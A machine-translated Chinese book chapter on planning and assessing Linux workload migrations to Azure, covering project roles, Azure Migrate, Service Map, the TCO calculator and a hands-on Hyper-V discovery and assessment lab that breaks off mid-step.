-以上是常见的场景;但是,这并不意味着用例场景或工作负载类型仅限于此。即使对于相同的工作负载类型,不同的客户也会使用不同的组件。例如,如果我们考虑一个数据库服务器,一些客户将使用 MySQL,而其他客户将使用 PostgreSQL。 - -微软有一系列文档、最佳实践、实施指南和工具,旨在加速您的云采用。这个框架被称为 Azure 的微软**云采用框架** ( **CAF** )。建议组织采用此框架,以便他们能够从云之旅的一开始就纳入最佳实践和工具。完整的框架可以在这里查看:[https://docs.microsoft.com/azure/cloud-adoption-framework/](https://docs.microsoft.com/azure/cloud-adoption-framework/)。 - -我们将在本书中遵循的行动计划来自 CAF 的*迁移*部分。在本书中,我们将重点介绍将您的 Linux 工作负载迁移到 Azure 的主要步骤。该路线图包括四个主要步骤,如*图 3.2* 所示: - -![Linux migration roadmap and plan for migrating your workloads to Azure](img/B17160_03_02.jpg) - -图 3.2: Linux 迁移路线图 - -如上图所示,我们将从第一阶段开始我们的迁移之旅— *评估*。 - -## 项目前期准备 - -所有项目都应该从适当的规划开始,这同样适用于云迁移。此时,我们已经收集了所有必要的技术信息,但是我们如何知道我们需要什么样的项目团队?让我们仔细看看。 - -### 确定相关角色和职责 - -通常,内部应用的职责被分配给不同团队中的许多内部利益相关者,有时甚至是不同的部门或公司。 - -例如,任何业务应用的典型生产环境都需要几个不同的角色才能运行: - -* 硬件管理员 -* 虚拟化管理员 -* 存储管理员 -* 网络管理员 -* Linux 管理员 -* 数据库管理员 -* 备份管理员 - -当您添加内部和外部用户时,列表会增长: - -* 身份管理管理员 -* 连接管理员 -* 应用所有者 -* 企业主 -* 应用用户 - -现在,让我们假设您计划将该系统迁移到 Azure:为了确保该应用的业务用户所承担的工作不被中断,您需要与这些人中的哪一个交谈?让我们来看看一些关键角色,以及为什么它们在云迁移项目中非常重要。 - -### 网络管理员 - -与分布在全球各地的应用和用户相比,仅在一个数据中心运行并为单个国家的用户提供服务的应用很容易迁移到云中。 - -举个例子(参考*图 3.3* )公司在两大洲四个国家有四个办事处。巴黎和伦敦的欧洲团队使用伦敦的数据中心,新加坡和曼谷的团队使用新加坡的数据中心: - -![An example of a clustered application in two continents, that is, Europe and Asia to show global network connectivity](img/B17160_03_03.jpg) - -图 3.3:两大洲的集群应用 - -这个场景给整个架构增加了一个明显的复杂性方面:**全球网络连接**。从项目规划的角度来看,这意味着您需要在项目涉及的角色列表中添加至少一家国际网络提供商公司。 - -通常情况下,这种网络结构可以迁移到云中,而不会有任何显著的变化,但是有一类特殊的应用需要大量的规划:金融应用。传统上,金融行业依赖于专用的互联网连接和系统中的私有链接。这本身不是一个问题,因为 Azure 有各种各样的虚拟专用网络和其他私有连接选项。这里棘手的部分是在金融部门使用的许多交易应用中使用**多播**协议。另一个经常使用**组播**协议的行业是医疗保健,尤其是医院。 - -#### 注意 - -如果你想了解更多企业环境下组播的用例,可以看看*思科出版社*:[https://www.ciscopress.com/articles/article.asp?p=2928192&seqNum = 5](https://www.ciscopress.com/articles/article.asp?p=2928192&seqNum=5)出版的书*组播设计解决方案*。 - -本节中值得一提的是,公共云不支持多播网络。这使得将依赖多播路由的应用直接迁移到 Azure 变得非常困难。幸运的是,有一些方法可以解决这个问题,例如,使用多播到单播网关,但是这种方法将需要重新设计您的网络设计和可能的应用。 - -另一个需要仔细规划的网络细节是虚拟专用网络和快速路由连接。请记住,不能保证您可以轻松地将连接从当前位置移动到公共云。由于这些现有的连接可能由第三方公司拥有或运营,因此您需要确保让它们参与您的网络规划会议。 - -这里需要理解的一点是,网络之类的事情听起来可能简单明了,但它是公共云迁移中最困难的技术领域之一,不仅从技术角度来看,而且从人员配备和规划角度来看,因为涉及到如此多的利益相关方。 - -如果您可以在您的迁移团队中只添加一名网络人员,请选择具有与电信提供商和传统网络技术合作经验的人员。这个人将比任何云网络专家都更有价值。 - -现在让我们进入下一个关键角色。 - -### Linux 管理员 - -在前面的章节中,我们讨论了 Linux 订阅管理的业务方面。它还有一些技术细节需要在计划迁移到公共云时考虑。其中一个细节是更新管理:在 Azure 上使用 Linux 时,您将从哪里获得安全补丁和软件包更新? - -您的 Linux 管理员是这里的关键人物,因为他们已经知道各种包管理器和订阅系统在当前系统中是如何工作的。通过一些培训,他们很容易理解在将系统迁移到 Azure 时需要实现什么样的更改。 - -在您的迁移项目团队中有一个 Linux 管理员听起来很明显吗?在现实生活中,我们见过这样的迁移项目,项目经理认为这是不必要的,并让一名 Windows 管理员试图弄清楚如何将 Linux 迁移到 Azure。你可能会猜测那些项目是否成功。 - -在本文中,我们所说的 Linux 管理员是指了解文件系统、磁盘性能、SELinux 和订阅管理(如果您使用的是商业 Linux 发行版)的人。 - -幸运的是,您计划迁移的系统得到了很好的维护,所有安全补丁和更新都得到了应用,并且一切都得到了很好的记录。然而在现实生活中,情况很少如此。团队中有一个在使用各种 Linux 服务和应用堆栈方面有丰富经验的人真的很有帮助,因为他们经常可以找到您的文档中缺少的信息。 - -让我们举一个 RHEL 服务器关闭 SELinux 的例子。您的应用文档没有提到任何关于 SELinux 的内容,您的安全团队表示,在公共云中,您需要启用 SELinux,否则他们不会批准迁移。可能会出什么问题?一切,尤其是如果安全团队在 SELinux 中打开**强制模式**而没有首先检查应用的行为。 - -我们建议您熟悉与您计划迁移到 Azure 的系统相关的所有角色和角色,并按照这里介绍的模式仔细调查,以找出您需要让谁参与到您的项目团队中。 - -### 云治理和运营 - -微软开发了一个 CAF,一套文档、实施指南、最佳实践和工具来帮助客户以最佳方式开始使用 Azure。 - -#### 注意 - -CAF 在[https://docs.microsoft.com/azure/cloud-adoption-framework/](https://docs.microsoft.com/azure/cloud-adoption-framework/)对所有人免费开放。 - -在了解云迁移时,CAF 中的几个部分非常重要。例如,*着陆区*是一个你应该非常熟悉的前进术语。在 Azure 中,着陆区意味着一组预先设计的体系结构或服务,您可以在其中部署新的或迁移的资源,例如虚拟机。软件开发领域的一个类比是**最小可行产品** ( **MVP** )。 - -#### 注意 - -点击此处阅读更多关于 Azure 登陆区的信息:[https://docs . Microsoft . com/Azure/cloud-采用-框架/ready/登陆区/](https://docs.microsoft.com/azure/cloud-adoption-framework/ready/landing-zone/) 。 - -此时值得一提的另一个非常重要的话题是云运营,或者说 **CloudOps** 。在大多数情况下,开发软件解决方案的团队将不是部署解决方案后运营云基础架构(或着陆区)的团队。通常,云运营由公司的信息技术部门管理,或者这项工作外包给专业的云管理服务提供商。 - -你能做的最糟糕的事情是,在应用部署后,没有人来照顾它或它正在使用的基础设施。有人需要监控应用和基础架构的性能,对系统警报做出反应,确保应用了安全补丁,并且很有可能时不时地运行成本优化流程。 - -微软 CAF 还涵盖了这些云管理方面,不仅从技术角度,而且从组织和业务协调角度。点击这里阅读更多关于 CAF 中云管理的内容:[https://docs . Microsoft . com/azure/cloud-采用-框架/manage/](https://docs.microsoft.com/azure/cloud-adoption-framework/manage/) 。 - -为了应用到目前为止我们所学到的与发现和评估相关的所有理论,让我们通过一个实践评估实验室。在本实验中,您将看到如何在 Azure 中发现和评估 Hyper-V 虚拟机。 - -## 迁移评估 - -通过了解您当前的基础架构,迁移之旅仍在继续。评估是迁移的第一步,在此阶段,我们将创建一个来源清单。当我们说*来源*时,这不一定总是在内部。也可能是其他云供应商或平台。Azure 中提供的评估工具可用于评估 AWS、GCP、虚拟化平台和内部物理服务器中的基础架构。我们需要执行评估的原因是,我们需要确保迁移后工作负载的迁移情况。 - -评估包括四个步骤和一套工具。让我们继续学习这些步骤。 - -### 准备云迁移计划 - -正如本杰明·富兰克林所说:“没有做好准备,你就是在准备失败。”乍一看,移民似乎并不复杂;然而,如果我们在没有计划和没有适当策略的情况下开始,那么迁移将会失败。失败的迁移将完全浪费时间、精力和生产力。你应该从设定目标和优先事项开始你的计划。不是每次迁移都一蹴而就;这将分阶段进行。通常,属于同一解决方案的服务器会一起迁移,而不是随机迁移服务器。假设您的环境中有注册应用、工资单应用、票务应用等。在这种情况下,您需要设置一些优先级和项目截止日期,因为在工资单应用中是优先级,应该在 Q1 结束之前处理。这种方法确保您一步一个脚印,遵循一个原则,从而确保成功的迁移。 - -一般的经验法则是优先考虑依赖较少的应用;这将成为迁移的催化剂。一旦完成了这些,您就可以专注于具有大量依赖关系的应用。移动这些将会给你更多的时间去关注,因为其他的应用已经被提前迁移了。这也将确保你的时间得到更好的利用。如果您从具有大量依赖关系的应用开始,您可能需要更长的时间来优化和规划它们。这将意味着其他工作负载的截止日期将进一步延长。因此,最好先完成简单的,然后再处理复杂的。 - -下一步是*发现和评估*这是进行全面评估的地方。 - -### 发现和评价 - -既然我们心中有了计划,我们需要开始对环境进行全面评估。这些步骤的结果是确定迁移范围内的服务器、应用和服务。 - -接下来,我们将生成迁移范围内的服务器和服务的完整清单和依赖关系图。清单和映射帮助我们理解这些依赖服务是如何相互交流的。强烈建议您彻底调查每个应用及其依赖关系。未能评估或说明依赖关系之一将导致迁移后的重大问题。 - -您的某些应用可能不适合提升和转移迁移,因此您还需要考虑其他选项。对于每个应用,您需要评估以下迁移选项: - -* **Rehost** :这就是我们通常所说的“升降档”基本上,您正在 Azure 中重新创建您的基础架构。这需要对应用进行最小的更改,因此影响最小。例如,将虚拟机复制到云中,然后使用复制的磁盘在 Azure 中重新创建它们。 -* **重构**:当您将一个 IaaS 服务器移动到一个 PaaS 解决方案时,例如,从虚拟机移动到一个 PaaS 解决方案,如 Azure 应用服务,这就完成了。正如我们已经知道的,转向 PaaS 解决方案减少了管理任务,同时有助于保持低成本。 -* **重新架构**:在某些场景下,您可能需要重新架构一些系统,以便它们能够成功迁移。这种架构的实现主要是为了使系统成为云原生的,或者利用较新的路径,如容器化和微服务。 -* **重新构建**:如果重新构建应用所需的成本、时间和人力超过从头开始,那么您可以重新构建应用。这种方法帮助软件开发团队开发能够充分利用云的应用。 -* **替换**:有时候,当你回顾重建或者重新构建解决方案的整体支出,可能会比购买第三方软件的支出更高。假设您有自己的客户关系管理解决方案,重新构建或重建的成本高于为类似的 SaaS 产品(如 Dynamics 365)购买许可证。 - -一旦我们发现了整个基础设施,下一步就是让关键的利益相关者参与进来。 - -### 让关键利益相关方参与进来 - -在发现阶段,我们将对基础架构有一个完整的了解;然而,应用的所有者和超级用户也将对应用的架构有一个完整的了解。我们在本章前面提到的这些所有者和其他关键利益相关者将能够分享关于应用架构的宝贵建议和信息,在迁移的早期阶段纳入这些建议将提高成功迁移的概率。 - -在填补知识空白时,最好让信息技术和业务负责人参与进来。此外,这些人将有助于提供任何关于应用架构的指导。 - -谈到迁移,首席执行官、首席技术官和首席信息官等 CxO 利益相关方将始终有兴趣了解这些数字,因为如果我们从内部迁移到 Azure,可能会节省多少成本。让我们看看如何估算成本。 - -### 估算节约 - -许多组织采用迁移途径来节省基础架构成本。云的敏捷性和可扩展性是这里的主要驱动因素。例如,如果您购买了一台新服务器,而这台服务器没有得到预期的利用,那么这就构成了公司的损失。然而,在云中,情况就不同了;如果不需要,可以在几秒钟内取消分配服务器。一旦解除分配,您就不必担心服务器,并且不再为它付费。 - -在迁移到云之前,所有组织都会进行计算,并验证他们是否从此次迁移中获得了任何利润或节约。完成初步范围界定后,您可以使用 Azure **总拥有成本** ( **TCO** )计算器来估算内部运行工作负载与 Azure 的成本。 - -从评估到节约计算,这一过程涉及不同的工具。让我们确定评估阶段可用的工具。 - -### 识别工具 - -工具在迁移评估中起着至关重要的作用。如果没有工具,访问您内部的每台服务器并创建清单将是一项麻烦的任务。因此,工具提高了生产率并加速了迁移。*表 3.1* 显示了在评估阶段可以利用的工具列表: - -![Assess tools for migrations with their purpose. It mainly includes tools like Azure Migrate, Service Map, and Azure TCO calculator.](img/B16170_Table_3.1.jpg) - -表 3.1:评估工具 - -上述是评估阶段使用的工具。同样,在采用计划的每个阶段(**迁移**、**优化**、**保护&管理**)都会用到其他工具。一旦我们到达这些阶段,您将熟悉每个阶段使用的工具。 - -还有其他第三方工具可用于执行评估。这些在 Azure Migrate 中可用,可以在项目创建期间选择。 - -现在我们已经熟悉了评估阶段的步骤,让我们试着更多地了解这些工具及其用法。 - -## 评估工具 - -正如前面的*识别工具*部分所解释的,这些工具扮演的不可避免的角色使得评估、映射和节约计算变得更加容易。现在我们将评估这些工具中的每一个,看看它们是如何使用的,以及用例场景是什么。我们将从 Azure Migrate 开始。 - -### 天青迁徙 - -Azure Migrate 的目的已经从*表 3.1* 中显而易见。在 Azure Migrate 的帮助下,我们可以运行环境发现,而无需在服务器上安装任何代理。如果我们安装代理,我们还可以执行依赖分析,这可以用来生成服务映射。评估最棒的部分是所有这些都在本地集成到 Azure 门户中,并且您不必依赖任何其他门户。 - -评估完成后,Azure Migrate 会生成一份评估报告,其中包含您需要调配的虚拟机的估计成本、建议和大小,以匹配您的内部配置。Azure Migrate 可以发现和评估部署在 Hyper-V 和 VMWare 虚拟化环境中的虚拟机以及物理机,同时将列表扩展到其他云供应商。 - -要使用 Azure Migrate,我们需要在 Azure 门户中创建一个 Azure Migrate 项目。该项目将用于存储我们执行的评估。同样,当我们将工作负载迁移到 Azure 时,也可以使用相同的项目。由于我们处于迁移计划的评估阶段,本章将重点介绍项目中可用的评估工具。一旦我们到达*第 4 章*、*中的迁移阶段,执行到 Azure* 的迁移,我们将讨论 Azure Migrate 项目中的迁移工具。 - -现在让我们熟悉下一个工具*服务图*。 - -### 服务地图 - -服务地图是另一个很好的工具,它是 Azure Monitor 的一部分,用于为我们执行依赖性分析的服务器评估。利用依赖性分析有几个优点,这可以提高整体迁移信心和成功率。一些优点如下: - -如果您有大量服务器要迁移,您可以根据解决方案对它们进行分组,因为我们知道哪些服务器承载哪些依赖项: - -* 它有助于在解决方案中确定合适的机器,并将它们一起迁移。 -* 它有助于理解环境的拓扑结构。 - -确保您迁移了所有内容,并且没有服务器因为人为错误或疏忽而被排除在迁移之外。依赖性分析有两种类型: - -* 无药剂分析 -* 基于代理的分析 - -让我们仔细看看这些。 - -### 无药剂分析 - -顾名思义,虚拟机上没有安装代理来执行依赖性分析。发现或分析是通过使用从机器捕获的 TCP 连接数据来完成的。但是,这里需要注意的一点是,在撰写本书时,无代理分析处于预览阶段,仅适用于 VMWare 虚拟机。数据轮询和收集是在 vSphere APIs 的帮助下完成的。 - -如果我们在我们的 Linux 或 Windows 计算机上运行 **netstat** 命令,我们将能够看到从我们的计算机建立的所有网络连接的连接、连接状态、来源、目的地和端口。如前所述,这些 TCP 指标用于服务器的逻辑分组。 - -对它们进行分组后,您可以可视化服务图以了解依赖关系,或者将其导出为 CSV 文件以供参考。评估工具包括一个 Azure Migrate 应用装置,这是一个需要在您的环境中部署以进行发现的虚拟机。该设备将不断收集数据,并将其推送到 Azure 进行评估。 - -### 基于代理的分析 - -顾名思义,在基于代理的分析中,我们需要一个代理来执行依赖性分析。这种分析方法利用了 Azure Monitor 的服务地图功能。我们需要安装**微软监控代理** ( **MMA** ,本质上是针对 Windows 机器,或者 OMS 代理(在 Linux 机器的情况下),以及依赖代理。这些代理发送的数据将用于创建服务地图。 - -我们需要一个日志分析工作区来接收这些代理推送的日志和数据。这里需要注意的一点是,工作区应该部署在支持服务地图的区域。 - -与无代理分析不同,由于我们已经将数据摄取到工作空间中,因此我们可以使用 **Kusto 查询语言** ( **KQL** )来分析这些数据。 - -当我们在本章的最后继续进行实践练习时,我们将看到这些代理是如何安装的,以及它们是如何用于依赖性分析的。在具有复杂体系结构的应用中,依赖性分析非常有用。接下来,我们将讨论 Azure TCO 计算器。 - -### Azure 总拥有成本计算器 - -**总拥有成本** ( **TCO** )是每个希望开始采用云的组织都应该考虑的问题。**投资回报** ( **投资回报**)使用总体拥有成本进行评估,Azure 总体拥有成本计算器有助于计算迁移到 Azure 的估计成本,并预测与当前成本相比您可能节省的成本。 - -建议您在迁移到云之前进行总体拥有成本计算,在估算总拥有成本时,您应该考虑一些费用。这些费用包括: - -* **迁移费用**:迁移费用昂贵,需要最大程度的关注。迁移失败会导致潜在的损失。因此,您应该在总体拥有成本中考虑资源、技术人员和为迁移而采购的其他硬件方面的成本。 -* **基础设施成本**:您需要保持您的内部基础设施正常运行,直到迁移完成。在迁移的某个阶段,您将为云中的资源以及内部数据中心付费。只有在迁移完成后,转换才会发生。 -* **风险因素**:迁移不是一个简单的任务,这里面总有风险。如果您的应用没有针对云进行优化,或者在迁移到云之前没有正确评估您的应用,这可能会导致潜在的故障。示例包括与内部应用相比的功能和性能问题。资源一旦部署在云端,你就要收费;如果出现问题,您应该有预算回滚更改并执行故障切换回您的内部应用。由于这是一个经过计算的风险,我们应该将其包括在我们的总体拥有成本中。 - -通过导航到以下链接,可以从任何浏览器访问 Azure TCO 计算器:[https://azure.microsoft.com/pricing/tco/calculator/](https://azure.microsoft.com/pricing/tco/calculator/)。 - -总拥有成本计算包括三个步骤,从定义您的工作负载开始。在第一步中,您将输入内部工作负载的详细信息,并将其与云成本进行对比,以了解节省的成本。这些工作负载分为服务器、数据库、存储和网络组件。对于每个类别,都有一组您需要传递给总体拥有成本计算器的信息。以服务器为例,系统会要求我们输入操作系统类型、操作系统、许可证、处理器、内核和内存,如图*图 3.4* : - -![Defining server workloads using Azure TCO calculator](img/B17160_03_04.jpg) - -图 3.4:定义服务器工作负载 - -定义工作负载后,您将进入调整假设步骤。在这里,我们将分享关于您是否已经拥有这些机器的许可证的详细信息,然后是存储成本、IT 人工成本、电力成本等。您需要根据您的内部数据调整这些假设。 - -一旦您陈述了假设,总拥有成本计算器将根据您共享的数据给出潜在的节约。例如,在这里,基于工作负载和假设,我们预计在 1 年内节约成本 18,472 美元。*图 3.5* 显示了总拥有成本计算器的输出示例: - -![Savings calculated using Azure TCO calculator](img/B17160_03_05.jpg) - -图 3.5:使用 Azure 总体拥有成本计算器计算的节约 - -总体拥有成本计算器中还有其他图表(按类别细分),最棒的是,您可以下载此报告,并与利益相关方共享以供审查。 - -至此,我们已经涵盖了在*表 3.1* 中所示的**评估**阶段使用的主要工具。如前所述,在采用计划的其他阶段还使用了其他工具。我们将在*第 4 章*、*中介绍**迁移&实现**阶段向 Azure* 执行迁移,在*第 5 章*、*在 Azure 上运行 Linux*中介绍**优化**和**安全&管理**阶段。 - -既然我们已经收集了应用和基础架构的所有必要细节,我们就可以创建迁移项目计划了。 - -## 实践评估实验室 - -到目前为止,我们已经讨论了不同的规划策略和评估方法。在本实验中,我们将评估运行在 Hyper-V 环境中的服务器。下面是我们将要评估的环境架构: - -![The architecture of the environment with Hyper-V host, and two VMs for assessment](img/B17160_03_06.jpg) - -图 3.6:评估环境 - -在*图 3.6* 中,我们可以有一个 Hyper-V 主机,上面部署了两个虚拟机。一个虚拟机(VM - 01)运行 Ubuntu,并在其上设置了 LAMP 服务器。第二个虚拟机(VM - 02)是使用 Apache 网络服务器运行静态网站的 CentOS 虚拟机。 - -我们的目标是评估这个环境,并创建一个评估报告以及一个依赖性分析。 - -正如前面在*评估工具*部分提到的,我们需要创建一个 Azure Migrate 项目来启动评估过程。 - -### 先决条件 - -本实验的一些先决条件如下: - -* 您至少应该拥有 Azure 订阅的投稿人权限。 -* 用户应该有权限注册 Azure 广告应用,否则应该在 Azure 广告中拥有应用开发人员角色。 - -### 设置 Azure 迁移项目 - -使用 Azure Migrate 的第一步从创建 Azure Migrate 项目开始。该服务用于存储在评估和迁移阶段捕获的元数据。Azure 迁移项目提供了一个集中的平台来记录您对 Azure 的所有评估和迁移。让我们导航到 Azure 门户并创建一个 Azure 迁移项目: - -1. To create an Azure Migrate project, navigate to All services in the Azure portal and search for Azure Migrate, as shown in *Figure 3.7*: - - ![Searching for Azure Migrate in the top-right search box](img/B17160_03_07.jpg) - - 图 3.7:搜索 Azure 迁移 - - 进入 Azure Migrate 刀片后,您将看到服务器、数据库等不同的迁移选项。 - -2. Since we are assessing servers, you need to choose Assess and migrate servers or you can click on Servers from the Azure Migrate blade, as shown in *Figure 3.8*: - - ![Starting an Azure Migrate project by clicking on the Assess and migrate servers button](img/B17160_03_08.jpg) - - 图 3.8:启动 Azure 迁移项目 - -3. In the next window, you will get the Create project option and, once selected, you need to input basic details such as Subscription, Resource group, Migrate project, and Geography, as shown in *Figure 3.9*: - - ![Creating an Azure Migrate project](img/B17160_03_09.jpg) - - 图 3.9:创建 Azure 迁移项目 - -4. Once the project is created, we will be presented with the Assessment tools and Migration tools options for servers. Since we are currently in the Assess phase, we will explore Assessment tools, as shown in *Figure 3.10*: - - ![Azure Migrate: Server assessment tools - Discover and Assess](img/B17160_03_10.jpg) - - 图 3.10:服务器评估工具 - -5. The next step is to initiate the discovery of servers in our Hyper-V environment so that we can create the assessment. We will be using the Discover option shown in *Figure 3.10* to start the discovery process. - - 现在,我们必须选择当前部署服务器的平台。您可以选择 VMWare 虚拟化虚拟机管理程序、Hyper-V 和物理或其他(AWS、GCP 等)。由于我们的虚拟机部署在 Hyper-V 上,我们选择这个选项,如图*图 3.11* 所示。 - - 要针对我们的内部基础架构运行发现,我们需要在内部环境中部署一个新的虚拟机。该虚拟机称为 Azure Migrate 设备,它将发现服务器并将该信息发送给 Azure Migrate。 - -6. We need to give a name to the migrate appliance and generate a key, as shown in *Figure 3.11*. This key is later used to set up the migrate appliance on our Hyper-V host. You need to copy this key and keep this handy: - - ![Generating an Azure Migrate project key for an appliance](img/B17160_03_11.jpg) - -图 3.11:生成 Azure 迁移项目密钥 - -创建密钥后,我们需要下载 Azure Migrate 设备。基本上有两种部署家电的方式,如图*图 3.11* 所示。 - -您可以下载 VHD 文件并将其部署为 Hyper-V 环境中的新虚拟机,也可以下载包含 PowerShell 脚本的 zip 文件,该脚本可以将现有虚拟机转换为 Azure Migrate 应用装置。如果您更喜欢使用现有服务器作为迁移设备,微软建议使用至少 8vCPUs 和 16 GB 内存的 Windows Server 2016。 - -在本实验中,我们将把 VHD 直接下载到我们的 Hyper-V 主机上,并创建一个新的虚拟机。使用 VHD 文件,我们需要使用以下步骤在 Hyper-V 服务器中创建新虚拟机: - -1. 打开右侧的 Hyper-V 管理器。从操作中,选择导入虚拟机。 -2. 您将看到带有一组说明的“开始前”页面。单击下一步。 -3. 使用定位文件夹,浏览提取 VHD 的文件夹,然后点击下一步。 -4. 选择虚拟机,然后单击下一步。 -5. 选择拷贝虚拟机(创建新的唯一标识)作为导入类型,然后点击下一步。 -6. 将目标和存储保留为默认设置,然后单击下一步。 -7. 选择虚拟机将用于连接网络的适当虚拟交换机,然后单击下一步。 -8. 最后,在“摘要”页面中,查看我们选择的配置,然后单击“完成”启动虚拟机导入。 -9. 一段时间后,您将能够在 Hyper-V 管理器中看到新虚拟机。 - -我们现在已经在环境中部署了虚拟机。现在,是时候开始发现并将信息发送到 Azure Migrate 项目了。让我们设置设备,将数据推送到 Azure。 - -### 设置和注册 Azure 迁移设备 - -虚拟机已部署到 Hyper-V 环境中,现在必须对其进行配置并连接到我们的 Azure 迁移项目。我们需要提供 Windows 服务器的密码,之后,我们需要像登录任何 Windows 服务器一样登录。 - -您可以通过转到**https://设备名称**或 **IP 地址:44368** 来连接到迁移设备。如果在桌面上打开边缘浏览器,您将被重定向到设备配置管理器页面。下一步是向项目注册设备,如以下步骤所示: - -1. 我们必须同意开始使用 Azure Migrate 设备的条款和条件。 -2. The prerequisite check will be done automatically and if there is any new update, the system will install it automatically, as shown in *Figure 3.12*: - - ![Prerequisite checks such as connectivity, time, and latest updates in the Migrate appliance](img/B17160_03_12.jpg) - - 图 3.12:迁移设备中的先决条件检查 - -3. The next step is to input the Migrate appliance key, which we generated from the Azure portal when we initiated the Discover process (*Figure 3.11*). - - 需要将密钥输入文本框,以便系统验证密钥并注册设备。验证完成后,将提示您输入设备代码以登录 Azure。我们需要使用 Copy code & Login 向 Azure 进行身份验证,如图*图 3.13* : - - ![Registering an Azure Migrate appliance](img/B17160_03_13.jpg) - - 图 3.13:注册 Azure 迁移设备 - -4. In the new tab, you can sign in using the credentials that you use to sign into the Azure portal, and if the authentication is successful, you will be asked to close the newly opened tab. Also, as shown in *Figure 3.14*, you will be able to confirm from the Azure Migrate appliance screen whether the appliance was successful: - - ![Successful registration](img/B17160_03_14.jpg) - - 图 3.14:成功注册 - -5. The next step is to provide the credentials for the Hyper-V cluster to the Azure Migrate appliance so that it can run Discovery. You can use Add credentials and enter the credentials for your Hyper-V host as shown in *Figure 3.15* and save it: - - ![Adding Hyper-V credentials](img/B17160_03_15.jpg) - - 图 3.15:添加 Hyper-V 凭据 - -6. Since we have stored the credentials, we will be using the credentials to connect to our Hyper-V host. You can add multiple Hyper-V clusters in a single shot, or you can import the list as a CSV. In our case, we have a single server, and we need to provide the IP address for the server and select the credentials created in *Step 5*, as shown in *Figure 3.16*: - - ![Adding Hyper-V cluster details](img/B17160_03_16.jpg) - - 图 3.16:添加 Hyper-V 群集详细信息 - -7. The Migrate appliance will use the credentials against the IP address we have entered to perform validation. If the credentials are correct, you will be able to see the successful message, as shown in *Figure 3.17*: - - ![Successful connection to the host](img/B17160_03_17.jpg) - - 图 3.17:成功连接到主机 - -8. Now that we have completed the configuration of the appliance, we can start the discovery using the Start Discovery option. The discovery process may take some time and the discovered number will be reflected on the Azure portal. - - #### 注意 - - 由于设备使用 FQDN 进行连接,如果 DNS 无法解析主机名称,您将无法发现任何虚拟机,重新验证将会失败。解决方法是修改主机文件并添加 FQDN 和 IP 地址。 - -我们流程的下一步是从 Azure 门户验证发现是否成功,设备是否能够发现所有虚拟机。在下一节中,我们将看到如何从门户验证发现。 - -### 验证门户中发现的虚拟机 - -发现过程完成后,您将能够看到来自迁移设备的确认。现在,是时候检查门户了,看看设备是否能够将信息推送到我们的 Azure Migrate 项目中。您可以使用这里提到的步骤进行验证: - -1. 打开 Azure 迁移仪表板。 -2. 在“Azure 迁移|服务器| Azure 迁移:服务器评估”页面中,单击显示已发现服务器计数的图标。 - -在*图 3.18* 中,可以看到发现成功,Azure 门户表示发现了三个虚拟机: - -![Verifying discovered servers](img/B17160_03_18.jpg) - -图 3.18:验证发现的服务器 - -在这里,我们看到三个虚拟机,因为发现过程也包括迁移应用装置。下一个过程是在发现的服务器上运行评估,这可以通过单击发现旁边的评估选项来完成。 - -### 运行评估 - -如*迁移评估*部分所述,该评估将创建您的内部服务器清单。按照以下步骤进行评估: - -1. Select the Assess option from Azure Migrate: Server Assessment, as shown in *Figure 3.19*: - - ![Starting assessment](img/B17160_03_19.jpg) - - 图 3.19:开始评估 - -2. In Assess servers | Assessment Type, select the type as **Azure VM** and, in Discovery source, select **Machines discovered from Azure Migrate appliance**. You also have the option to upload your inventory as a CSV file and perform an assessment on that. The Assessment properties section will be populated automatically, and you can edit them using the Edit button if required, as shown in *Figure 3.20*: - - ![Setting up the basics](img/B17160_03_20.jpg) - - 图 3.20:设置基础 - -3. In the Assessment properties edit window, you will have the option to customize TARGET PROPERTIES, VM SIZE, and PRICING. These factors are used to run the assessment and generate the report. Also, you can include the Azure Hybrid Benefit in your calculation to exclude the license cost if you already have licenses purchased. You can update each of these factors as per your requirements. A sample configuration has been shown in *Figure 3.21*: - - ![Assessment properties](img/B17160_03_21.jpg) - - 图 3.21:评估属性 - -4. Next, you can provide a name for your assessment and a name for the group of servers. Grouping helps you to assess a set of servers together. Finally, we will select the servers that need to be assigned and add them to the group, as shown in *Figure 3.22*: - - ![Selecting servers to assess](img/B17160_03_22.jpg) - - 图 3.22:选择要评估的服务器 - -5. 最后一步是创建评估,这将创建组并在分组的服务器上运行评估。 - -如果您刷新评估工具,您可以看到组和评估的值为 1,如*图 3.23* 所示: - -![Verifying assessment from the Azure portal](img/B17160_03_23.jpg) - -图 3.23:验证来自 Azure 门户的评估 - -#### 注意 - -如果数据不可见,尝试使用**刷新**按钮,等待系统刷新。 - -现在我们有了评估,是时候回顾一下了。 - -### 审核评估 - -评估主要涉及三个主要因素: - -* **Azure 就绪**:发现的机器是否适合在 Azure 上运行——换句话说,它们是否为 Azure 做好了准备? -* **月成本估算**:提供这些虚拟机迁移后在 Azure 上运行所需的估算成本。还提供了计算成本和存储成本的成本细分。 -* **存储-每月成本估算**:迁移后的预计磁盘存储成本。 - -以下是查看评估所涉及的步骤: - -1. 在服务器| Azure Migrate:服务器评估中,点击*图 3.23* 中可见的评估旁边的数字。 -2. In Assessments, select an assessment to open it. You will be able to see the assessment report as shown in *Figure 3.24*: - - ![Reviewing assessment](img/B17160_03_24.jpg) - - 图 3.24:评审评估 - -3. 如果您想基于另一个目标区域或任何其他属性重新计算,您可以编辑属性(使用编辑属性选项,如图 3.24*)并重新运行评估。* - - *在这里,我们只发现了虚拟机;然而,我们还没有进行依赖性分析。此评估报告可以导出到 Excel 表中,您可以与利益相关者共享。 - -在下一节中,我们将看到如何使用代理在 Azure Migrate 中设置依赖性分析。 - -### 依赖性分析 - -依赖关系分析仅支持 VMWare 虚拟机和 Hyper-V 虚拟机。从其他平台(如 Xen)甚至从其他云提供商(如 AWS 和 GCP)发现的虚拟机不支持依赖性分析。 - -如*服务图*部分所述,我们只能在 Hyper V 环境下运行基于代理的依赖分析。对于 VMWare 虚拟机,它支持无代理和基于代理的依赖性分析。 - -首先,我们需要将日志分析工作区与我们的 Azure Migrate 项目相关联。可以执行以下步骤将工作区与 Azure Migrate 关联:服务器评估: - -1. 找到要评估的计算机后,在服务器| Azure 迁移:服务器评估中,单击概述。 -2. 在 Azure 迁移:服务器评估中,单击基本。 -3. In OMS Workspace, click Requires configuration, as shown in *Figure 3.25*: - - ![Setting up the OMS configuration](img/B17160_03_25.jpg) - - 图 3.25:设置 OMS 配置 - -4. 选择“需要配置”后,如图 3.25 所示,系统会提示您创建一个新的日志分析工作区,或者在您的 Azure 订阅中关联一个现有的工作区。 -5. If you do not have an existing workspace, create a new one as shown in *Figure 3.26*: - - ![Creating a Log Analytics workspace](img/B17160_03_26.jpg) - - 图 3.26:创建日志分析工作区 - -6. 